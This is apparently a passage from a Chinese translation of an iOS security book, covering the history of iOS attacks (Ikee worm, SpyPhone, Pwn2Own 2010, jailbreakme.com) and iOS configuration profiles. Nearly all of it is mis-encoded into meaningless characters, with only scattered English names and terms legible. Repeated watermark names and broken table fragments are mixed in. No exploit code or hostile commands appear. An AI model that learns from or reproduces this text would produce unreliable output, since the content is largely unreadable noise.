ᤈᛠ໣วஈѣௐԺڙࠆ௛ѽၸᤇ̎໣วǌᳫࠓॡࡂʼԦဗ˿໣วὋஈѣᏧܫ᝹ڙ౦ݟ൤Ὃځ

̾ᒬၿᤁᛠshellcodeὋ੊௦ʽᣑࣲ੯ᛠ஠͇ǌᏪࠬ੼໣ว˶௦ᄰॆኤӬᄉὋځ˝ኃʶ̼iPhoneᄉ
ᣃ͇ڙԦ׫ௐࡂథॡܲࣂᅻᄉ၅Ⴗǌ͉ʹஈѣᦏᑞᝧᳫࠆበԀᖌ३rootాᬌǌ 

Tavis OrmandyణЎૈѢၸ౎ူܪTIFFڎϷ஠͇ᄉ౼ྟLibtiffڙߚ໣วὋᏪChris WadeѶ᧪ࠪ

ᤇʶ໣วᎃзѢ˿Ժၸᄉ໣วஈѣ̼ᆉǌᤇᝧၸਖ਼థԺᑞ੩धৎ਒ᎩቢὋ̯ Ꮺᝧᤇ̎Ꭹቢᖌ३ࠪ

Ф᝹ܫᄉᤉርroot᝺᫇ాǌឞ໣ว௦ڙiPhone OS 1.1.2˖ᜁνܬᄉǌ 
ग़ௐLibtiff໣วஈѣ௦ԺᛠᄉὋᏪဗݟڙ౦ڙLibtiffं˖੼ҁዜͪᄉ໣วԠ͗ঞಧփ὞ణѹ

ᄉ໣วஈѣ͗۶ڙЮߚ˖зЙԺ੯ᛠ̼ᆉὋࣲᝧ᝹ܫ੯ᛠᤇ̼̎ᆉǌʿ᣾Ὃځ˝DEPᄉѢဗὋᤇ

ಧϡဗࣂڙፂᛠʿ᤯˿ǌځ൤Ὃဗڙᄉ໣วஈѣॸᮋၸҁROPὋࣲၸ౼ሗழयѣຳASLR఺҃ǌ

ᤇԺᑞᭉ᜵Բܰᄉ໣วǌ൤ܰὋԀΦஈѣᏧ੆ҩᤈᛠ˿໣วஈѣὋ̴˶Ե͗ᖌ३mobileၸਖ਼ా

ᬌὋԩҁ෡ᄣᄉᬌ҃ǌᤇˀ˧ґᖌ३ʿԩᬌ҃ᄉroot᝺᫇ాథᅋܸܡ˧Ѿǌ  
ځክᤇ᧖ᝮᄉ௦iOS 1Ὃͭੇ͂ᤆ௦᜵ૈѢὋৎ਒ᣃ͇ࠪ̅iOS 1౎ឬࣲʿ௦̣˥ܷ᫇ᮤǌࡉ

˝ኃʶ̼iPhone෤థ߽ழ᤬फ़ʽᣑኃʻழःၸὋᤇሗ᤬फ़ᄯҁiOS 2੥Ѣဗǌ 
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1.5.2� ⷁֵᬏߏ 

2009ࣱὋᆐቂ̠տCollin Mulliner֖Charlie MillerԦဗ˿iPhoneᆀζᝌౡழय˖ڙߚᄉ໣วǌ

ᥦௐῗ̠΍ၸᄉᤆ௦iOS 2ǌᬓ˿ASLRὋiOS 2і˪ХథiOS 5੝Хܫᄉ੝థ߶К఺҃ǌ᫇ᮤڙ

̅Ὃࡉክܷܲஜᤈርᦏ௦̾ԩ෡ᄣᬌ҃ᄉ᭣ྱాၸਖ਼ᢵ͊ᤁᛠᄉὋͭူܪᆀζᄉᤈርԁʿ௦ǌᏪ

ᄰСᄉCommCenterርࣿൣݝԠ௦̾ʿԩ෡ᄣᬌ҃ᄉrootాᬌᤁᛠᄉǌ 
෤థࠃဗASLRథʶ˓᫇ᮤὙDEPԵథڙᦠՋASLRᄉௐϊ੥ᑞᄽൣᡐͺၸǌ˶ࡂ௦ឬὋ

ᄰॆ͗ࡂஉͮᎵὋ੯ᛠROPߚᑞᆷѬᅻ᥊੝థԺ੯ᛠ̼ᆉᄉࡂ෤థᬣ఺ӐὋஈѣᏧߚ౦Юݟ

ኤӬǌ 
ᬓ˿௦ʶሗᤈЙጆፑᄉुܷழयὋᤆథФ̴ԓځᝧᆀζःၸ੆˝ʶ్˞᜵ஈѣ᤬फ़ǌФʶ௦

ʿᭉ᜵ၸਖ਼̓̈ǌஈѣᏧʿᭉ᜵ल࠭ԩࠎᏧ᝺᫇౼˓ৎ਒ᎩቢὋᏪԵ᜵ᅻ᥊ԩࠎᏧᄉႂពՁᆉࣲ

ԦᤞஈѣᆀζԀԺǌФ̃௦ԩࠎᏧ෤Ҩก᫸ൢ൤ዜஈѣὋځ˝᤯࣡࿃খʽʿԺᑞሄၸiPhoneᄉᆀ

ζҩᑞǌФʻὋᤇ௦ʶሗ᭡᳭ஈѣὋԀΦڙ᝹ܫС఺ᄉৰхʽ˶௦Ժ̾ᤈᛠᄉǌݟ౦ஈѣᏧڙ᝹

ζো͛ᤞ࠱ध఺Րኃʶௐᫍܫ᝹ڙϱᤇ̎ζোὋࣲߚ͗׷С఺ᄉৰхʽԦᤞ˿ৎ਒ᆀζὋᤁᖸܫ

ҁ᝹ܫʼǌ 
ᤇʶ໣วڙiOS 3.0.1˖३ҁ˿νܬǌဗڙὋᤇಧᄉஈѣԪ३ఝڇᬱ˿Ὃʿ̨ځ˝ᤇಧᄉ໣

วஈѣ᜵᭦ࠪASLRὋᤆځ˝ဗڙᄉCommCenterᤈር௦̾_wirelessၸਖ਼ాᬌᏪ᭣rootాᬌᤁ

ᛠᄉǌ 

1.5.3� Ikee㷩㰿 

ҁiOS 2᫇ˆௐὋiPhoneࣂፂᄰॆ੆ཿ˿ǌʿ᣾Ὃ࠱iPhoneᡔ࿜ᤆ௦͗ᆠڭ᝹ܫᄉஞͳ߶К౵

ౝǌॆཨὋᡔ࿜ሄၸ˿̼ᆉኣՏ఺҃Ὃʿ᣾߱੝ϡᄉᤉʿԵ൤ὙЉ᝴߶ᜈᣃ͇὇С᪃ᤆ௦ځ˝ᤁ

ᛠ˿లኣՏ̼ᆉὈੰܷ˿ԩஈѣ᭦Ὃ˝᝹ܘܫҪ˿ጆፑࠃၸርࣿ὇ඊݟshellὈὋЉ᝴߶ᜈ̾root

ၸਖ਼ాᬌᤁᛠᄉःၸǌᏪС᫆˿̼ᆉኣՏ఺҃Ὃ˶ࡂС૿˿ुథҦᄉDEPǌ˶ࡂ௦ឬὋROPథ஌

ᣑᕲԺ̾ሄၸDEPὋࣲڙᡔ࿜᣾ᄉ᝹ܫʼзЙ֖੯ᛠshellcodeǌణՐὋளᄉలኣՏःၸ௦ʿԩ෡

ᄣᬌ҃ᄉǌځ൤Ὃᡔ࿜۲ఴʼ͗С᫆iPhoneᄉ੝థ߶К఺҃ὋᏪʿԵ௦̼ᆉኣՏǌ 
 ʿᡛ˝݈˿ǌIkeeᛕᙁ὇ԠՏDutchࡂ˶൤Ὃᡔ࿜᣾ᄉiPhone͗੆˝໣วஈѣᄉᄫಕځ

ransomǋiPhone/Privacy.A੊Duh/Ikee.BὈࡂѽၸ˿ॡܲၸਖ਼˝iPhoneᡔ࿜Ր߶ᜈ˿SSHనҫ٧

ԁ෤థνஇ᳭ᝢrootࠚᆉᤇʶ̂ࠃǌᤇ਒։ᅋ͉ʹᤋଋҁᤇሗ᝹ܫᄉ̠ᦏᑞၸrootాᬌᤉርଌ

҃ᤇ̎᝹ܫǌథ˿ᤇ్͇̎Ὃᎃзᛕᙁࡂʿ௦̣˥ᬱ̂˿ǌᬓ൤˧ܰὋSSHనҫ٧˶௦ʿԩ෡

ᄣᬌ҃ᄉǌ 
IkeeᛕᙁڙФၶ֐యᄉʿՎ᫼ൿ͗ϡՉሗʿՎᄉ̂ৰǌᡐѹὋ߱Ե௦νஇ᝹ܫᄉܝጭ὇ԟ᜸

iPhoneՓၸਖ਼Ҿጉᠴ᧚ὋቊԨiPhone˖ᄉЮ߿ᩙݟ2ὈǌՐ౎Ὃ߱இ˝੯ᛠܲሗৎ਒ᛠ˝Ὃඊ-1ڎ

 Ꭹፎᄉʶᦉѫǌࡄ੆˝ЀܫὋၴᒯᝧԩॕֽᄉ᝹ࠓ
௬ཨὋݟ౦ၸਖ਼ʿઁ̴͂ᄉ᝹ܫᡔ࿜ὋᤇʶѬᦏʿ͗Ԧၶǌ 

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�

zhangchao

zhangchao

zhangchao

zhangchao

zhangchao

zhangchao

cham




1.5� iOS ஈѣኤԽ� � 9 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

 

�2-1ڎ Rick Astleyබʿઊप; 

౎ຸὙF-Secureྞڎ ᄉ Mikko Hypponenǌ 

1.5.4� Storm8 

2009ࣱὋၿᅻՏधԦ׷Storm8धԦᄉຣ੅அᬶ˿ᤁᛠᤇ̎ຣ੅ᄉ੣఺ʼߚϱᄉႂពՁᆉὋཨ

Ր࠱ᤇ̎ζোԦᤞҁStorm8ᄉనҫ٧ʼǌԩҁॕֽᄉःၸӉહVampires LiveǋZombies Live֖
Rockstars Live὇ԟ᜸3-1ڎὈኍǌథ̠ࠪStorm8ଡᡐ˿ᬶͳឃ᝷Ὃૈଌឞःၸᄉஜ૵அᬶҩᑞ௦

̠˝᣾ܾǌᏪڙᤇൿௐᫍ᧖Storm8ᄉःၸథጝˏӡʹᄉʽᣑ᧙ǌ 

 
�3-1ڎ Vampires LiveʿԵ˝iOSࣛ౎˿࿈఑ᄉխᛝ᱅  
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1.5.5� SpyPhone 

SpyPhone௦Seriot Nicolasᎃзᄉഏএᰍ᝼ःၸὋᰍ᝼˿᧪ࠪኃʻழःၸᄉiOS෡ᄣᬌ҃ǌឞ

ःၸ࠼ណ᣾᝺᫇੝థԺ̾ਆ៵ᄉζোὋࣲណᅋ੯ᛠ˿෡ᄣ੝Љ᝴ᄉ͉਒ᛠ˝ǌ᧪ࠪiOS෡ᄣథʶ

͇̂᜵ซ਒Ὃࡂ௦౎ᒬApp Storeᄉ੝థኃʻழःၸᦏథᅋᄰՎᄉ෡ᄣ᜺Ѷǌᤇ਒։ᅋὋݟ౦ᔰ౦

МՂᝢ˝౼ʶःၸःឞХథ౼̎ాᬌὋᥦ˥੝థᄉःၸᦏᐯ߿᜵Хథឞాᬌǌᤇˀ߶ӫጆፑᄉ෡

ᄣ఺҃ʿՎὋʿՎᄉ߶ӫःၸԺ̾Хథ಩૵Фᭉයૈ߿ᄉʿՎాᬌǌiOSᤇሗഴयᄉिཁܹ̅ڙ

᣾ࠔౚǌΒݟὋ᤯᣾̾߸КՋกᄉழय΍ၸМРAPI὇ࡉክःၸ̂ࠃʼᤆ௦ԩ෡ᄣᄉᬌ҃ὈὋ

SpyPhoneԺ̾᝺᫇̾ʽஜ૵Ὑ 
� ੣఺Ձᆉ὚ 
 ዖᄉឳ/з᝺᫇὚ڦڠࠪ �
� Safari/YouTube଼ጉС᪃ជ὚ 
 ᥪ኷᠌ਖ਼ζো὚ߔႂ �
� ᪃ᄧᎀߚ὚ 
� ಕ᝭థူڠζোᄉཱྞ὚ 
� GPSζো὚ 
� WiFiଋЙཁՏሥǌ 
ᤇʶःၸᛪ௙ὋԀΦڙ෡ᄣЮὋৎ਒ርࣿᤆ௦ᑞ̯ԩॕֽᄉ᝹ܫʼଡԨҁஜ᧙৲̠ᄉζোǌ 

1.5.6� Pwn2Own 2010 

ఴ˹ᄉˏͮͺᏧVincenzo Iozzo֖Ralf-Philipp Weinmannᡄ३᣾2010ࣱ᧪ࠪ iPhone 3GSᄉ

Pwn2Ownᳫࠆባᠾǌ̴͂ڙMobileSafari˖੼ҁ˿ᝧ̴͂Ժ̾ᤉር੯ᛠ̼ᆉᄉ໣วǌឞ໣วڙߚ

̅ల΍ၸASLRᄉiOS 3˖ǌၿ̅΍ၸ˿̼ᆉኣՏ఺҃ὋiPhone 3GSᄉஞ˓థ஌ᣑᕲᦏᜁзЙROP
˖ǌѽၸROPὋIozzo֖WeinmannԺ̾੩धߚஉᅋ੝థᆀζᄉSMSஜ૵ंὋࣲ࠱ᤇ̎ᆀζԦᤞҁ

̴͂ଌ҃ᄉᤉርనҫ٧ʼǌ̴ͭ͂ԩҁ˿mobileၸਖ਼ాᬌ֖MobileSafari෡ᄣᄉᬌ҃ǌ᜵ᤈᛠఝ

ܲᄉᆠڭᤆ᜵ܲ᠟ཁܺࢹǌ̴͂ᄉҰҦ˝̴͂ᡄ३˿15 000ᎾЊ֖ʶᦉiPhoneǌ2011ࣱᤇᮉᠾ̂

ᄉܷݑѶ௦ᜁఴ˹ᄉԲˏͮͺᏧૅᡋᄉǌ  

1.5.7� Jailbreakme.com 2˄ĀStarā˅ 

ੇ̭͂ፀ˿iOS 5˝ᬌ҃ᤉርஈѣᏧ੝᧓ԨᄉՉሗଏஶǌᤇᝧஈѣԪ३ऩ࣡ᓢᬱὋࣲͭ᭣ʿ

Ժᑞǌ2010ࣱ8తὋcomexĿᥦᒮՏ௥ᗂᄉjailbreakme.comᎩቢࡘࡂᇧ˿ᤇಧᄉஈѣǌ὇ኃʶྟᄉ

jailbreakme.com᧪ࠪᄉ௦ኃʶ̼iPhoneὋ੝̾ᄰࠪኤӬǌὈኃ̃ྟᄉjailbreakme.comᎩቢԺ̾੯ᛠ

ʶጆѴᛠ˝Ὃࣲణጻᝧ᝺᫇ឞᎩቢᄉiOS᝹ܫᡔ࿜ǌᤇ਒։ᅋ߱ᐯ߿ϷiOS 1.0ௐ̼ᥦಧᖌ३˿ᤉ

ርroot᝺᫇ాǌʿ᣾Ὃjailbreakme.com 2᧪ࠪᄉ௦iOS 4.0.1ὋᤇʶጆፑӉդ˿ᬓASLR˧ܰᄉ੝థ

üüüüüüüüüü�
Ŀ comex௦ᆐቂiOS᝹ܫᡔ࿜ᄉᗂՏᳫࠆNicholas AllegraᄉᎩՏǌúúដᏧซ 
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߶К఺҃὇ᤇʶྟఴᄉiOS˖࠺లຊҪឞ఺҃Ὀǌᥦ˥߱௦ݟʹᡐͺၸᄉփ὞ᯪЎὋ߱ѽၸ˿

MobileSafariྱူܪ൳ߙͳௐ̖ၶᄉಖຼѢὋᤇ΍३໣วஈѣ̼ᆉԺ̾ڙMobileSafari˖ըҮ߱ᄉ

ROPథ஌ᣑᕲǌଋᅋὋᤇʶܬఽᄉథ஌ᣑᕲʿ௦᜵ୂᡋSMSஜ૵ंὋᏪ௦ፘ፝ѽၸԲʶ˓໣วଡ

ӣࠪ᝹ܫᄉ᝺᫇ాǌᤇኃ̃˓໣ว௦IOKitᄉIOSurface࡚ব˖ڙߚᄉஞஜຼѢ໣วǌᤇ᧖ଡҁ

ᄉኃ̃൒ஈѣᝧஈѣᏧԺ̾ڙЮನ˖੯ᛠ̼ᆉǌᤇಧஈѣᏧࡂԺ̯̾Юನ˖ሄၸ̼ᆉኣՏ఺҃Ὃ

ཨՐឞROP͗ʽᣑၸ౎˝iPhoneᡔ࿜ᄉలኣՏҮখंࣲҪᣑឞҮখंǌᔰ౦МՂॡঋνܬ˿ឞ໣

วὋࡉ˝ځክjailbreakme.comᎩቢԵ௦ၸ౎˝੣఺ᡔ࿜Ὃͭ߱ॡࠓ௛இ˝ࠪ᝺᫇߱ᄉ᝹ܫ੯ᛠ͉

ʹਆ੯ᛠᄉୱͺǌ 

1.5.8� Jailbreakme.com 3˄ĀSaffronā˅ 

ᄫґ˝ൢ̭ፀ᣾ᄉ੝థΒߔᦏథ˓РՎ˧ܪὋᥦࡂ௦߱͂ᦏ௦᧪ࠪiOS 4.3˧ґᄉiOSǌᏪ

ASLR఺҃ൣ௦ڙiOS 4.3˖लЙᄉǌʁ ெҪʼᤇణՐʶ᥊ࡕᬩὋஈѣᏧ᜵ࠪiOS᝹ܫᤈᛠ໣วஈѣ

ԺᑞྱࡂѾڇᬱ˿὞ݝաὋcomexၸణᰳᑞ̶ࠪiOS 4.3.3ᄉjailbreakme.com 3в൒ឬ௙ᤇʿ௦᫇

ᮤǌᤇʶྟᄉjailbreakmeᤆ௦ᭉ᜵ᤈᛠˏ൒໣วஈѣὋʶ൒ᖌ३̼ᆉ੯ᛠాὋԲʶ൒ሄၸ̼ᆉኣ

Տ఺҃ǌᥦ˥ASLR᜵ঞ˥ူܪփ὞ܷڙ͗࠱ࠑኃ8ብ˖˿ᝌఝܲˀᤇʶ໣วஈѣథСᄉЮࠓὋʿ

᣾ဗڙԵ᜵ᅻ᥊ᜁѽၸᄉྱ߿໣วԺ̾ᝧஈѣᏧឳзЮܴࡂߚ˿ǌᤇಧʶ౎ὋஈѣᏧࡂథԺᑞ᤯

᣾ឳԨ౼̎᥵ᤂૈ᧪ᄉϘ੼ҁ̼ᆉڙЮߚ˖ᄉͮᎵὋଋᅋࡂԺ̾᤯᣾зЮߚ౎ॕֽЮࣲߚԨ३ᤈ

ርᄉଌ҃ాǌൣݟ˧ґឬ᣾ᄉὋੌᑇASLRʶᓉᏪᝒ᜵˥ᭉ᜵ˏ˓໣วὋ᜵˥ᭉ᜵ʶ˓ᄽൣྱ൳

ᄉ໣วǌᤇ˓಴Βࡂѽၸ˿ʶ˓ྱѾुܷᄉ໣วǌ  

1.6� ᇣ㒧 

ఴብᯪЎ̭ፀ˿iOS᝹ܫὋӉહФᆵ͇Ὃ̾Ԣ߱͂ᒬ᫇ˆᡐԦၶ˿ঞಧᄉஇԪǌཨՐੇ͂˿

ᝌ˿ˀ߶КᄰСᄉʶ̎۲ఴζোὋӉહiOS᝹ܫ᭦˙̎גዜۋᄉގᐺǌଋᅋఴብ̯߹᜹ʼ̭ፀ˿

ఴ˹๗ԢᄉॡܲഏএὋᝦ᝶˿iOSᄉ߶К᝹᝟ὋФ˖ॡܲ߶Кࡎᦏ͗ڙᬣՐᄉЮࠓ˖ၸ˃᫂ᄉʶ

ብសጹ̭ፀǌణՐὋఴብኤᤗ˿᣾Ԝ᧪ࠪiOS੆ҩᤈᛠᄉஈѣὋၴᒯᤆథԺ̾ፈ᣾iOS 5ᄉ੝థ߶

К఺҃ᄉஈѣǌ  
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ӕϮЁⱘiOS 

 
ᬣᅋiOS᝹ܫᄉʿற௾ԢὋᡔ౎ᡔܲᄉ͌ˉधݼᝧտࢹ᤯᣾ᤇ̎᝹ܫ᝺֖᫇ߚϱ͌ˉஜ૵ǌ

᤯࣡Ὃ͌ ˉ͗᠓˻ࣲ߸Кଁଌᤇ̎Ժᑞ᜵ၸ̅᝺᫇͌ˉஏਕஜ૵ᄉఄᑞ੣఺੊Ф̴᝹ܫǌڙ౼̎

὇˶௦ᡔ౎ᡔ࣡᜸ᄉὈৰхʽὋ͌ˉԺᑞЉ᝴տࢹѽၸሒ̠ᄉ᝹ܫ᝺᫇͌ˉஜ૵ǌʿክ௦גሗৰ

хὋ͌ˉᦏ᜵ాᛥЉ᝴ѽၸᤇ̎ሧҮ᝹ܫ᝺᫇͌ˉஜ૵੝ࣛ౎ᄉܪݝˀ߶К᮲ᬖǌ 
͉ʹሧҮ᝹ܫᦏԺᑞᜁஉᩱڠழǋ᥋ܾ੊ᄦቊǌݟ౦ឞ᝹ߚܫϱᅋ὇੊௦ᑞ᝺᫇Ὀஏਕᄉ͌

ˉஜ૵Ὃࣛ͗ࡂ౎ஜ૵෹ࠚᄉ᮲ᬖǌ˝൤Ὃ᤯᣾ुࠚᆉᬌ҃ࠪ᝹ܫᄉ᝺᫇Ὃ̾Ԣڙ᝹ܫˎܾௐᤉ

ርᩙ߿᝹ܫ੊ຌᬓ᝹ܫʼᄉஜ૵ࡂ௬३ॡ᧗᜵˿ǌఴብ̭ፀݟʹѽၸᔰ౦МՂधԦᄉiPhone 
Configuration Utility὇iPhoneᦠᎵࠃၸࢹХὈ֖Lion Server Profile Manager὇ଠᤗ஠͇ክူ٧Ὀ˝

iOS᝹ܫѸत֖ःၸᦠᎵଠᤗ஠͇ǌᤇ̎ଠᤗ஠͇Ժၸ౎ᆷγᤇ̎᝹ܫːಪ੯ᛠጷጺᄉ߶КஊንὋ

Βݟ᜵යຊҪुࠚᆉǌͺ˝ʶሗMDM὇Mobile Device ManagementὋሧҮ᝹ܫክူὈనҫὋଠᤗ

஠͇ክူ٧˶Ժၸ̅ᤉርᩙ߿੊୺ᬓ᥋ܾᄉ᝹ܫǌ 

2.1� iOS 䜡㕂ㅵ⧚ 

۲̅iOSᄉ᝹ܫԺ̾᤯᣾Ѹत֖߶ᜈᦠᎵଠᤗ஠͇὇configuration profileὈᤈᛠክူǌଠᤗ஠

͇Ӊդክူտࠪၸਖ਼᝹ܫʼ߶ᜈᄉጆፑᄉ᝹Ꮅǌᤇ̎᝹ᎵܷܲஜˀiOSᄉþ᝹Ꮅÿ὇SettingsὈः

ၸ˖ᄉᦠᎵᤤᮉࠪःὋʿ᣾౼̎᝹ᎵԵᑞ᤯᣾ᦠᎵଠᤗ஠͇᝹ᎵὋᏪ౼̎ѶԵᑞڙiOSᄉþ᝹Ꮅÿ

ःၸ˖ᦠᎵǌԵథᥦ̎ԵᑞڙᦠᎵଠᤗ஠͇˖ᤈᛠᦠᎵᄉ᝹Ꮅ੥௦Ժᬶ˖ክူᄉǌ 
Ѹत֖ክူᦠᎵଠᤗ஠͇ణኤӬᄉழกࡂ௦΍ၸᔰ౦МՂ଍ѢᄉMac੊WindowsྟiPhone 

Configuration Utilityǌᤇʶ्ڎӐࠃၸࢹХᝧክူտԺ̾Ѹत֖ክူᦠᎵଠᤗ஠͇ǌᤇ̎ଠᤗ஠

͇Ժ̾᤯᣾USBᤋଋ߶ᜈҁiOS᝹ܫʼǋ̾ᬃ्͇यၸႂߔᥪ͇Ԧᤞፋ᝹ܫ૆థ̠Ὃ੊௦ᄯଋஉ

 Webనҫ٧ʼǌڙ
Lion Server˖̾ଠᤗ஠͇ክڙःឞ΍ၸMDMጆፑǌᔰ౦МՂࡂˉὋ͌ܫ౦᜵ክူఝܲ᝹ݟ

ူ٧నҫᄉ्यଡΘ˿ᤇಧᄉጆፑǌឞనҫࠪ̅ࢹͺጷˀ˖ۋ࠴ጷጺᏪᝒᦏॡ᤟ၸǌʿ᣾Ὃࠪ̅

ఝܷᄉ͌ˉ౎ឬὋኃʻழᄉ׷ˉMDMᝌфழ಴Ժᑞ੥௦ణݝᄉǌ 
ఴᓫ̭࠱ፀᦠᎵଠᤗ஠͇ᄉ۲ᆨᅻខὋࣲଠᤗݟʹѽၸiPhoneᦠᎵࠃၸࢹХ֖Lion Serverଠ

ᤗ஠͇ክူ٧Ѹत֖߶ᜈኤӬᄉᦠᎵଠᤗ஠͇ǌ 

ኃ �ብ
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2.1.1�  䜡㕂ᦣ䗄᭛ӊࡼ⿏

ᦠᎵଠᤗ஠͇௦ʶ˓XML࡚বѴᛪ὇property listὋ̾ʽኤሥplistὈ஠͇Ὃ஠͇˖ᄉஜ૵Ϙ௦

̾Base64ᎃᆉ्यߚϱᄉǌੇ͂˶Ժ̾ᤤસ˝plistஜ૵ኣՏ֖ҪࠚὋᤇሗৰхʽὋᦠᎵଠᤗ஠͇

௦Ι૵RFC 3852 CMS὇Cryptographic Message SyntaxὋҪࠚ๖োឥกὈౝ੆ᄉǌځ˝ᦠᎵଠᤗ஠

͇˖ԺᑞӉդၸਖ਼ࠚᆉ֖Wi-FiᎩፎࠚᆉኍஏਕζোὋ੝̾ݟ౦᜵᤯᣾ᎩፎԦᤞᤇሗଠᤗ஠͇ࡂ

ःឞҪࠚǌMDMనҫ٧ᑞᒬҮ߸੆ᤇ̎ࢹͺὋځ൤͉ʹᭉ᜵ክူiOS᝹ܫᄉ͌ˉᦏణݝ΍ၸMDM
ጆፑǌ 

ᦠᎵଠᤗ஠͇௦ၿʶ̎۲ఴᄉЊஜ૵ˀᦠᎵథ஌ᣑᕲጷ੆ᄉǌᦠᎵଠᤗ஠͇ᄉЊஜ૵Ӊդ̠

ዜԺူᝌᄉՏሥǋଠᤗǋѸतឞଠᤗ஠͇ᄉጷጺὋ̾Ԣʶ̎ԵڙՐԻ΍ၸᄉФ̴ߙൿǌᦠᎵథ஌

ᣑᕲѶ௦ଠᤗ஠͇ణ᧗᜵ᄉᦉѫὋځ˝ࠪःឞଠᤗ஠͇ᄉᦠᎵᤤᮉ௦᭤߱͂ࠃဗᄉǌiOS 5˖Ժ

ၸᄉᦠᎵథ஌ᣑᕲស᜸ᛪ2-1ǌ 

㸼2-1� 䜡㕂ᦣ䗄᭛ӊⱘ᳝ᬜ䕑㥋㉏ൟ 

᳝ᬜ䕑㥋� ᦣ� � 䗄�

ሧᬓࠚᆉ ૈ߿ၸਖ਼̯᝹ܫሧᬓᩙ߿ᄉଠᤗ஠͇ௐॸᮋᣤЙᄉࠚᆉ 

 ఽܬᆉॸᮋథܲࠚᆉὋ̾Ԣឞࠚௐ௦ՠᭉ᜵ᣤЙܫᝌᩙ᝹ڙၸਖ਼˦߿ ᆉን႔ࠚ

 ᥪ͇᠌ਖ਼ߔᥪ͇ ᦠᎵၸਖ਼ᄉႂߔႂ

Web Clip ڙၸਖ਼ᄉय़఺࣪ࡕʼஉᎵWeb Clip 

ᬌ҃ ᬌ҃΍ၸ᝹ܫᄉၸਖ਼੯ᛠ౼̎ᛠҮὋඊݟ΍ၸ୉ϷܿǋiTunes App StoreǋSiriǋYouTubeǋ
Safariኍ 

LDAP ᦠᎵLDAPనҫ٧̾Θ΍ၸ 

CalDAV ΍ၸCalDAVࠪၸਖ਼ᄉᎩፎ௅Ԋ᠌ਖ਼ᤈᛠᦠᎵ 

௅Ԋᝠ᫝ ˝ၸਖ਼ᝠ᫝Р̙ᄉCalDAV௅Ԋ 

SCEP ࠱᝹ܫˀኤӬ᝼˹ซбӨᝫ὇Simple Certificate Enrollment ProtocolὈనҫ٧Сᐎᡐ౎ 

APN ࠱ХథሧҮ᤯ζ۲ࣛᄉiOS᝹ܫ὇iPhone੊iPadὈᦠᎵ੆΍ၸ౼ʶྱ߿ᄉሧҮᤁᖸ׷ 

Exchange ᦠᎵၸਖ਼ᄉMicrosoft Exchangeႂߔᥪ͇᠌ਖ਼ 

VPN ˝᝹߿ૈܫ੝᜵΍ၸᄉVPN὇Virtual Private NetworkὋᘾ઱˃ၸᎩፎὈᦠᎵ 

Wi-Fi ࠱᝹ܫᦠᎵ੆΍ၸૈ߿ᄉ802.11Ꭹፎ 

ඇʶሗథ஌ᣑᕲᦏդథʶጷ߿˦˿੝ஂ૆ᦠᎵ᝹Ꮅᄉ࡚বѴᛪ᪃֖Ϙǌڙᔰ౦МՂᄉiOS 
Developer Library὇धԦᏧ஠ंὈ˖ὋiOS Configuration Profile Reference὇ᦠᎵଠᤗ஠͇ԟᏥὈ

ᦉѫសጹѴѢ˿Չሗథ஌ᣑᕲӉդᄉ᪃̾ԢԺ΍ၸᄉ᪃Ϙǌᙉཨੇ͂Ժ̾಩૵ឞ᜺ᔴ੣ࢹѸत

ᦠᎵଠᤗ஠͇Ὃͭ௦ԵథሧҮ᝹ܫክူֵ̖ᄉधԦ̠տ੥Ժᑞᤇ˥ϡǌᔰ౦МՂतᝫܷܲஜၸ

ਖ਼Ι᭤ᔰ౦ᄉiPhoneᦠᎵࠃၸࢹХ੊ኃʻழሧҮ᝹ܫክူֵ̖౎ѸतǋክူԢᦉᎷᦠᎵଠᤗ஠
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͇ǌൣݟଋʽ౎੝ଠᤗᄉὋᦠܫiOS᝹ܫஜ᧙ʿܲᄉ͌ˉԺ̾ၸiPhoneᦠᎵࠃၸࢹХࠪᤇ̎᝹ܫ

ᤈᛠᦠᎵǌ 

2.1.2� iPhone 䜡㕂ᅲ⫼Ꮉ݋ 

ᔰ౦МՂᄉiPhoneᦠᎵࠃၸࢹХ௦ʶሗԺڙMac OS X֖Windowsୱͺጆፑʼ΍ၸᄉ्ڎӐ

ᎃзఴ˹˧ௐὋឞڙʼѸतǋክူ֖߶ᜈᦠᎵଠᤗ஠͇ǌܫiOS᝹ڙХὋ߱Ժ̾ࣞүၸਖ਼ࢹၸࠃ

 Хణளᄉྟఴ௦3.4Ὃ௦˝˿ஂ૆iOS 5˖ᄉளᦠᎵᤤᮉᏪఝளᄉǌࢹ
 ၸਖ਼ᄉkeychain˖ᒬҮѸत಩CA὇CertificateڙХ͗ᒬҮࢹၸࠃᯪ൒ᤁᛠௐὋiPhoneᦠᎵڙ

AuthorityὋ᝼˹૾ా఺ౝὈ᝼˹ǌiPhoneᦠᎵࠃၸࢹХ͗˝ᥦ̎᤯᣾USBቪԯᤋଋҁᤁᛠ߱ᄉ˞

఺ʼᄉ᝹ܫᒬҮѸत᝼˹ὋᏪឞCA᝼˹ᄉၸ᤬ࡂ௦ፋᤇ̎᝼˹ኣՏǌ੝Ѹत᝼˹ᄉͺၸѶ௦˝

᜵߶К͛ᣤҁᤇ̎᝹ܫʼᄉᦠᎵଠᤗ஠͇ኣՏ֖Ҫࠚǌϛ᝹ଋஅ᝹ࣂܫፂၿᤁᛠiPhoneᦠᎵࠃၸ

ԦᤞӉڠᥪ͇੊WebὈ߶КߔႂݟԺ̾᤯᣾ʿ߶КᄉᎩፎ὇ඊࡂ;˥Хᄉ˞఺૾̀˿᝼˹Ὃᥦࢹ

դၸਖ਼њ᝼ᄉᦠᎵଠᤗ஠͇˿ǌ 
1. ߯ᓎ䜡㕂ᦣ䗄᭛ӊ 
ᆉን႔థ஌ᣑᕲᄉኤӬࠚХѸतԵդࢹ൤ੇ͂ၸឞڙХὋࢹၸࠃ΍ၸiPhoneᦠᎵʹݟᇧࡘ˝

ᦠᎵଠᤗ஠͇Ὃࣲ࠱Ф᤯᣾ᄯଋUSBᤋଋ߶ᜈҁiOS᝹ܫʼǌ 
ᯪЎὋੇ͂ཁѣΞ᣷ಜ˖LIBRARY὇ᠪ஧ंĿὈ్ᄫʽᄉConfiguration Profiles὇ᦠᎵଠᤗ

஠͇Ὀᤤᮉǌݟ౦ࣂፂڙߚᦠᎵଠᤗ஠͇Ὃᤇಧ࠱͗ࡂᤇ̎஠͇КᦉѴѢ౎ǌ᜵Ѹतளᄉଠᤗ

஠͇ὋឯཁѣNew὇ளतὈ૊ᨍὋᤇ͗ុѢ1-2ڎݟ੝ᇧᄉᦠᎵ᭦౛Ὃᝧၸਖ਼ࠪᦠᎵଠᤗ஠͇ᄉ

